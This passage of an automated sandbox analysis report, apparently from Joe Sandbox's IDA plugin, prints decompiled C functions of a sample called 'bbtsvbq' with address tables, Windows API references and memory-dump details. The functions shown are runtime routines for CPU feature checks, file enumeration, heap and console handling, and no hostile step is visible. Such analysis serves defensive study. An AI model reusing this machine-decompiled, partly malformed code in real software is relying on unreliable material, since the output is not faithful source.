				 *((intOrPtr*)(_t83 + 0xc)) = _t81;
				if((_v32 ^ 0x49656e69 | _v36 ^ 0x6c65746e | _v40 ^ 0x756e6547) != 0) {
					L9:
					_t84 =  *0x13d9bf0; // 0x0
					L10:
					_v28 = _v32;
					_t53 = _v36;
					_v8 = _t53;
					_v24 = _t53;
					if(_v12 >= 7) {
						_t59 = 7;
						_push(_t68);
						asm("cpuid");
						_t70 =  &_v44;
						 *_t70 = _t59;
						 *((intOrPtr*)(_t70 + 4)) = _t68;
						 *((intOrPtr*)(_t70 + 8)) = 0;
						 *((intOrPtr*)(_t70 + 0xc)) = _t81;
						_t60 = _v40;
						_v20 = _t60;
						_t53 = _v8;
						if((_t60 & 0x00000200) != 0) {
							 *0x13d9bf0 = _t84 | 0x00000002;
						}
					}
					if((_t53 & 0x00100000) != 0) {
						 *0x13d9010 =  *0x13d9010 | 0x00000004;
						 *0x13d9bec = 2;
						if((_t53 & 0x08000000) != 0 && (_t53 & 0x10000000) != 0) {
							asm("xgetbv");
							_v16 = _t53;
							_v12 = _t81;
							if((_v16 & 0x00000006) == 6 && 0 == 0) {
								_t56 =  *0x13d9010; // 0xf
								_t57 = _t56 | 0x00000008;
								 *0x13d9bec = 3;
								 *0x13d9010 = _t57;
								if((_v20 & 0x00000020) != 0) {
									 *0x13d9bec = 5;
									 *0x13d9010 = _t57 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t62 = _v44 & 0x0fff3ff0;
				if(_t62 == 0x106c0 || _t62 == 0x20660 || _t62 == 0x20670 || _t62 == 0x30650 || _t62 == 0x30660 || _t62 == 0x30670) {
					_t87 =  *0x13d9bf0; // 0x0
					_t84 = _t87 | 0x00000001;
					 *0x13d9bf0 = _t84;
					goto L10;
				} else {
					goto L9;
				}
			}

0x013b1e2d
0x013b1e30
0x013b1e3e
0x013b1e4d
0x013b1fc0
0x013b1fc6
0x013b1fc6
0x013b1e53
0x013b1e59
0x013b1e64
0x013b1e6a
0x013b1e6d
0x013b1e6e
0x013b1e72
0x013b1e73
0x013b1e75
0x013b1e78
0x013b1e7b
0x013b1e84
0x013b1ea3
0x013b1ea6
0x013b1ea7
0x013b1ea8
0x013b1eac
0x013b1ead
0x013b1eaf
0x013b1eb2
0x013b1eb5
0x013b1eb8
0x013b1efd
0x013b1efd
0x013b1f03
0x013b1f0a
0x013b1f0d
0x013b1f10
0x013b1f13
0x013b1f16
0x013b1f1a
0x013b1f1d
0x013b1f1e
0x013b1f23
0x013b1f26
0x013b1f28
0x013b1f2b
0x013b1f2e
0x013b1f31
0x013b1f39
0x013b1f3c
0x013b1f3f
0x013b1f44
0x013b1f44
0x013b1f3f
0x013b1f51
0x013b1f53
0x013b1f5a
0x013b1f69
0x013b1f74
0x013b1f77
0x013b1f7a
0x013b1f8b
0x013b1f91
0x013b1f96
0x013b1f99
0x013b1fa7
0x013b1fac
0x013b1fb1
0x013b1fbb
0x013b1fbb
0x013b1fac
0x013b1f8b
0x013b1f69
0x00000000
0x013b1f51
0x013b1ebd
0x013b1ec7
0x013b1eec
0x013b1ef2
0x013b1ef5
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 013B1E46

Strings

, xrefs: 013B1FA3

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B6ECA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114

C-Code - Quality: 73%

			E013B6ECA(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				void* _t80;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				signed int _t104;
				union _FINDEX_INFO_LEVELS _t105;
				void* _t106;
				void* _t109;
				void* _t110;
				intOrPtr _t111;
				void* _t112;
				void* _t113;
				signed int _t117;
				void* _t118;
				signed int _t119;
				void* _t120;
				void* _t121;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_t104 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t104) {
					_t5 = _t104 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t110 = E013B5DD2(_t85, _t78, 1);
					_t87 = _t109;
					__eflags = _t104;
					if(_t104 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t104;
						_t40 = E013B998B(_t87, _t110 + _t104, _t78, _a4);
						_t119 = _t118 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E013B7109(_a16, _t101, __eflags, _t110);
							E013B5D07(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t104);
						_t75 = E013B998B(_t87, _t110, _t78, _a8);
						_t119 = _t118 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E013B491D();
							asm("int3");
							_t117 = _t119;
							_t120 = _t119 - 0x150;
							_t43 =  *0x13d900c; // 0x8ae99929
							_v48 = _t43 ^ _t117;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t110);
							_t111 = _v332.cAlternateFileName;
							_push(_t104);
							_v372 = _t111;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E013B99E0(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t105 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E013B39F0(_t105,  &_v332, _t105, 0x140);
								_t121 = _t120 + 0xc;
								_t112 = FindFirstFileExA(_t79, _t105,  &_v332, _t105, _t105, _t105);
								_t55 = _v336;
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E013B6ECA(_t93,  &(_v332.cFileName), _t79, _v340);
											_t121 = _t121 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t112,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t102 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E013B9540(_t79, _t102 + _t96 * 4, _t65 - _t96, 4, E013B6D22);
									}
								} else {
									_push(_t55);
									_t57 = E013B6ECA(_t90, _t79, _t105, _t105);
									L26:
									_t105 = _t57;
								}
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									FindClose(_t112);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t111);
									E013B6ECA(_t88, _t79, 0, 0);
								}
							}
							_pop(_t106);
							_pop(_t113);
							__eflags = _v12 ^ _t117;
							_pop(_t80);
							return E013B143B(_t80, _v12 ^ _t117, _t102, _t106, _t113);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x013b6ecf
0x013b6ed0
0x013b6ed3
0x013b6ed3
0x013b6ed6
0x013b6ed6
0x013b6ed8
0x013b6ed9
0x013b6ee3
0x013b6ee6
0x013b6ee9
0x013b6eee
0x013b6ef7
0x013b6efa
0x013b6f04
0x013b6f07
0x013b6f08
0x013b6f0a
0x013b6f1e
0x013b6f1e
0x013b6f21
0x013b6f2b
0x013b6f30
0x013b6f33
0x013b6f35
0x00000000
0x013b6f37
0x013b6f3b
0x013b6f44
0x013b6f4a
0x00000000
0x013b6f4d
0x013b6f0c
0x013b6f0c
0x013b6f12
0x013b6f17
0x013b6f1a
0x013b6f1c
0x013b6f53
0x013b6f55
0x013b6f56
0x013b6f57
0x013b6f58
0x013b6f59
0x013b6f5a
0x013b6f5f
0x013b6f63
0x013b6f65
0x013b6f6b
0x013b6f72
0x013b6f75
0x013b6f78
0x013b6f79
0x013b6f7c
0x013b6f7d
0x013b6f80
0x013b6f81
0x013b6fa2
0x013b6fa2
0x013b6fa4
0x00000000
0x00000000
0x013b6f89
0x013b6f8b
0x013b6f8d
0x013b6f8f
0x013b6f91
0x013b6f93
0x013b6f95
0x013b6fa0
0x00000000
0x013b6fa0
0x013b6f95
0x013b6f91
0x00000000
0x013b6f8d
0x013b6fa6
0x013b6fa8
0x013b6fab
0x013b6fc4
0x013b6fc4
0x013b6fc6
0x013b6fc9
0x013b6fd9
0x013b6fdb
0x013b6fdb
0x013b6fcb
0x013b6fcb
0x013b6fce
0x00000000
0x013b6fd0
0x013b6fd0
0x013b6fd3
0x00000000
0x013b6fd5
0x013b6fd5
0x013b6fd5
0x013b6fd3
0x013b6fce
0x013b6fe1
0x013b6fe9
0x013b6fed
0x013b6ffb
0x013b7000
0x013b7015
0x013b7017
0x013b701d
0x013b7020
0x013b7052
0x013b7052
0x013b7054
0x013b7057
0x013b705d
0x013b705d
0x013b7064
0x013b707e
0x013b707e
0x013b708d
0x013b7092
0x013b7095
0x013b7097
0x00000000
0x00000000
0x00000000
0x00000000
0x013b7066
0x013b7066
0x013b706c
0x013b706e
0x00000000
0x013b7070
0x013b7070
0x013b7073
0x00000000
0x013b7075
0x013b7075
0x013b707c
0x00000000
0x00000000
0x00000000
0x00000000
0x013b707c
0x013b7073
0x013b706e
0x00000000
0x013b7099
0x013b70a1
0x013b70a7
0x013b70a9
0x013b70a9
0x013b70b1
0x013b70b6
0x013b70be
0x013b70c1
0x013b70c3
0x013b70d7
0x013b70dc
0x013b7022
0x013b7022
0x013b7026
0x013b702e
0x013b702e
0x013b702e
0x013b7030
0x013b7033
0x013b7036
0x013b7036
0x013b6fad
0x013b6fb0
0x013b6fb2
0x00000000
0x013b6fb4
0x013b6fb4
0x013b6fba
0x013b6fbf
0x013b6fb2
0x013b7041
0x013b7042
0x013b7043
0x013b7045
0x013b704e
0x00000000
0x00000000
0x00000000
0x013b6f1c
0x013b6ef0
0x013b6ef2
0x013b6f4e
0x013b6f52
0x013b6f52
0x00000000

APIs

Part of subcall function 013B5DD2: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013B6256,00000001,00000364,?,?,?,013B49CE,013B5D84,?,?,013B1571,?), ref: 013B5E13

Part of subcall function 013B491D: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B491F
Part of subcall function 013B491D: GetCurrentProcess.KERNEL32(C0000417), ref: 013B4941
Part of subcall function 013B491D: TerminateProcess.KERNEL32(00000000), ref: 013B4948

FindFirstFileExA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 013B700F

Strings

., xrefs: 013B705D

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B7B23, Relevance: 1.3, APIs: 1, Instructions: 5

C-Code - Quality: 100%

			E013B7B23() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x13da2cc = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x013b7b23
0x013b7b2b
0x013b7b33

APIs

GetProcessHeap.KERNEL32 ref: 013B7B23

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B144C, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 65

C-Code - Quality: 70%

			E013B144C(void* __ebx, void* __ecx, void* __edx, _Unknown_base(*)()* __edi, void* __esi, void* __eflags) {
				signed int _v12;
				signed int _t8;
				void* _t13;
				intOrPtr _t16;
				intOrPtr* _t18;
				void* _t27;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;

				_t28 = __edi;
				_t27 = __edx;
				_push(__edi);
				E013B3740(__eflags, 0x13d9878, 0xfa0, 0);
				_t31 = GetModuleHandleW(L"kernel32.dll");
				if(_t31 == 0) {
					L7:
					E013B1B6D(_t27, _t28, 7);
					asm("int3");
					_push(0x20);
					asm("ror eax, cl");
					_t8 = _v12 ^  *0x13d900c;
					__eflags = _t8;
					return _t8;
				} else {
					_t18 = GetProcAddress(_t31, "InitializeConditionVariable");
					_t28 = GetProcAddress(_t31, "SleepConditionVariableCS");
					_t32 = GetProcAddress(_t31, "WakeAllConditionVariable");
					if(_t18 == 0 || _t28 == 0) {
						L5:
						_t13 = CreateEventW(0, 1, 0, 0);
						 *0x13d9894 = _t13;
						__eflags = _t13;
						if(__eflags == 0) {
							goto L7;
						} else {
							goto L6;
						}
					} else {
						_t43 = _t32;
						if(_t32 == 0) {
							goto L5;
						} else {
							 *0x13d9894 =  *0x13d9894 & 0x00000000;
							L013B1D10();
							_t16 =  *_t18(0x13d9890);
							_push(_t28);
							L8();
							_push(_t32);
							 *0x13d9898 = _t16;
							L8();
							 *0x13d989c = _t16;
							L6:
							E013B17CB(_t43, 0x13b1529);
							return 0;
						}
					}
				}
			}

0x013b144c
0x013b144c
0x013b144e
0x013b145b
0x013b146e
0x013b1472
0x013b1504
0x013b1506
0x013b150b
0x013b1517
0x013b151f
0x013b1521
0x013b1521
0x013b1528
0x013b1478
0x013b148a
0x013b1498
0x013b14a0
0x013b14a4
0x013b14dd
0x013b14e4
0x013b14ea
0x013b14ef
0x013b14f1
0x00000000
0x00000000
0x00000000
0x00000000
0x013b14aa
0x013b14aa
0x013b14ac
0x00000000
0x013b14ae
0x013b14ae
0x013b14bc
0x013b14c1
0x013b14c3
0x013b14c4
0x013b14c9
0x013b14ca
0x013b14cf
0x013b14d6
0x013b14f3
0x013b14f8
0x013b1503
0x013b1503
0x013b14ac
0x013b14a4

APIs

Part of subcall function 013B3740: InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,?), ref: 013B377D

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 013B1468
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 013B147E
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 013B148C
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 013B149A
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 013B14E4

Part of subcall function 013B1B6D: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1B7A
Part of subcall function 013B1B6D: IsDebuggerPresent.KERNEL32(?,?,?,00000017,?), ref: 013B1C42
Part of subcall function 013B1B6D: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 013B1C61
Part of subcall function 013B1B6D: UnhandledExceptionFilter.KERNEL32(?), ref: 013B1C6B

Strings

WakeAllConditionVariable, xrefs: 013B1492
SleepConditionVariableCS, xrefs: 013B1484
InitializeConditionVariable, xrefs: 013B1478
kernel32.dll, xrefs: 013B1463

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B9E4D, Relevance: 10.7, APIs: 7, Instructions: 152

C-Code - Quality: 79%

			E013B9E4D(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t115;
				signed int _t117;
				signed char _t122;
				signed char _t127;
				signed int _t128;
				signed char* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;

				_t78 =  *0x13d900c; // 0x8ae99929
				_v8 = _t78 ^ _t131;
				_t80 = _a8;
				_t117 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t129 = _a12;
				_v52 = _t129;
				_v48 = _t117;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x13d9e78 + _t117 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t129;
				_t86 = GetConsoleCP();
				_t130 = _a4;
				_v60 = _t86;
				 *_t130 = 0;
				 *((intOrPtr*)(_t130 + 4)) = 0;
				 *((intOrPtr*)(_t130 + 8)) = 0;
				while(_t129 < _v40) {
					_v28 = 0;
					_v31 =  *_t129;
					_t128 =  *(0x13d9e78 + _v48 * 4);
					_t122 =  *(_t128 + _t115 + 0x2d);
					if((_t122 & 0x00000004) == 0) {
						_t92 = E013B81E5(_t115, _t128);
						_t128 = 0x8000;
						if(( *(_t92 + ( *_t129 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t129);
							goto L8;
						} else {
							if(_t129 >= _v40) {
								_t128 = _v48;
								 *((char*)( *((intOrPtr*)(0x13d9e78 + _t128 * 4)) + _t115 + 0x2e)) =  *_t129;
								 *( *((intOrPtr*)(0x13d9e78 + _t128 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x13d9e78 + _t128 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
							} else {
								_t112 = E013B647D( &_v28, _t129, 2);
								_t132 = _t132 + 0xc;
								if(_t112 != 0xffffffff) {
									_t129 =  &(_t129[1]);
									goto L9;
								}
							}
						}
					} else {
						_t127 = _t122 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t128 + _t115 + 0x2e));
						_push(2);
						_v15 = _t127;
						 *(_t128 + _t115 + 0x2d) = _t127;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E013B647D();
						_t132 = _t132 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t129 =  &(_t129[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t130 = GetLastError();
								} else {
									 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 8)) - _v52 + _t129;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t130 + 8)) =  *((intOrPtr*)(_t130 + 8)) + 1;
													 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E013B143B(_t115, _v8 ^ _t131, _t128, _t129, _t130);
			}

0x013b9e55
0x013b9e5c
0x013b9e5f
0x013b9e67
0x013b9e6b
0x013b9e77
0x013b9e7a
0x013b9e7d
0x013b9e84
0x013b9e8c
0x013b9e8f
0x013b9e95
0x013b9e9b
0x013b9ea0
0x013b9ea2
0x013b9ea5
0x013b9eaa
0x013b9eb4
0x013b9ebb
0x013b9ebe
0x013b9ec5
0x013b9ecc
0x013b9ee7
0x013b9eef
0x013b9ef8
0x013b9f1e
0x013b9f20
0x00000000
0x013b9efa
0x013b9efd
0x013b9fc4
0x013b9fd0
0x013b9fdb
0x013b9fe0
0x013b9f03
0x013b9f0a
0x013b9f0f
0x013b9f15
0x013b9f1b
0x00000000
0x013b9f1b
0x013b9f15
0x013b9efd
0x013b9ece
0x013b9ed2
0x013b9ed5
0x013b9edb
0x013b9edd
0x013b9ee0
0x013b9ee4
0x013b9f21
0x013b9f24
0x013b9f25
0x013b9f2a
0x013b9f30
0x013b9f36
0x013b9f45
0x013b9f4b
0x013b9f51
0x013b9f56
0x013b9f72
0x013b9fe5
0x013b9feb
0x013b9f74
0x013b9f7c
0x013b9f85
0x013b9f8b
0x00000000
0x013b9f8d
0x013b9f8f
0x013b9f92
0x013b9fab
0x00000000
0x013b9fad
0x013b9fb1
0x013b9fb3
0x013b9fb6
0x00000000
0x013b9fb6
0x013b9fb1
0x013b9fab
0x013b9f8b
0x013b9f85
0x013b9f72
0x013b9f56
0x013b9f30
0x00000000
0x013b9fb9
0x013b9fb9
0x013b9fed
0x013b9fff

APIs

GetConsoleCP.KERNEL32 ref: 013B9E8F
__Stoull.NTSTC_LIBCMT ref: 013B9F0A
__Stoull.NTSTC_LIBCMT ref: 013B9F25
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 013B9F4B
WriteFile.KERNEL32(?,?,00000000,013BA5C2,00000000), ref: 013B9F6A
WriteFile.KERNEL32(?,?,00000001,013BA5C2,00000000), ref: 013B9FA3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,013BA5C2,?,00000000,?,00000000,00000000), ref: 013B9FE5

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B4DB5, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38

C-Code - Quality: 20%

			E013B4DB5(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				signed int _t10;
				struct HINSTANCE__** _t12;
				void* _t18;
				void* _t23;
				void* _t24;
				void* _t25;
				intOrPtr* _t26;
				signed int _t27;

				_t10 =  *0x13d900c; // 0x8ae99929
				_v8 = _t10 ^ _t27;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_push(_t25);
					_t26 = GetProcAddress(_v12, "CorExitProcess");
					if(_t26 != 0) {
						 *0x13be12c(_a4);
						 *_t26();
					}
					_pop(_t25);
				}
				if(_v12 != 0) {
					FreeLibrary(_v12);
				}
				return E013B143B(_t18, _v8 ^ _t27, _t23, _t24, _t25);
			}

0x013b4dbc
0x013b4dc3
0x013b4dc6
0x013b4dca
0x013b4dd5
0x013b4ddd
0x013b4ddf
0x013b4dee
0x013b4df2
0x013b4df9
0x013b4dff
0x013b4dff
0x013b4e01
0x013b4e01
0x013b4e06
0x013b4e0b
0x013b4e0b
0x013b4e1e

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,013B4D66,00000003,?,013B4D06,00000003,013D8290,0000000C,013B4E5D,00000003,00000002), ref: 013B4DD5
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,013B4D66,00000003,?,013B4D06,00000003,013D8290,0000000C,013B4E5D,00000003,00000002), ref: 013B4DE8
FreeLibrary.KERNEL32(00000000,?,?,?,013B4D66,00000003,?,013B4D06,00000003,013D8290,0000000C,013B4E5D,00000003,00000002,00000000), ref: 013B4E0B

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Strings

mscoree.dll, xrefs: 013B4DCE
CorExitProcess, xrefs: 013B4DE0

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B2941, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104

C-Code - Quality: 65%

			E013B2941(void* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				intOrPtr _v0;
				char _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr* _v60;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				void* _t71;
				intOrPtr* _t74;
				intOrPtr* _t78;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr* _t87;
				intOrPtr* _t89;
				signed int _t93;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				char _t101;
				void* _t105;
				intOrPtr _t111;
				char _t114;
				intOrPtr _t116;
				intOrPtr* _t119;
				intOrPtr* _t121;
				intOrPtr* _t123;
				intOrPtr _t129;
				void* _t130;
				intOrPtr* _t131;
				void* _t132;
				signed int* _t136;
				void* _t138;
				void* _t140;
				void* _t141;
				void* _t142;

				_push(_t105);
				_push(_t105);
				_t119 = _a4;
				_t143 =  *_t119 - 0x80000003;
				if( *_t119 == 0x80000003) {
					L18:
					return _t70;
				} else {
					_t71 = E013B3CAE(_t97, _t105, __edx, _t119, _t130, _t143, _t130, _t97);
					_t98 = _a20;
					_t144 =  *((intOrPtr*)(_t71 + 8));
					if( *((intOrPtr*)(_t71 + 8)) == 0) {
						L6:
						if( *((intOrPtr*)(_t98 + 0xc)) == 0) {
							E013B5B9A(_t98, _t105, _t119, _t130, __eflags);
							asm("int3");
							_t138 = _t140;
							_t141 = _t140 - 0x18;
							_push(_t98);
							_push(_t130);
							_t131 = _v16;
							_push(_t119);
							__eflags = _t131;
							if(__eflags == 0) {
								E013B5B9A(_t98, _t105, _t119, _t131, __eflags);
								asm("int3");
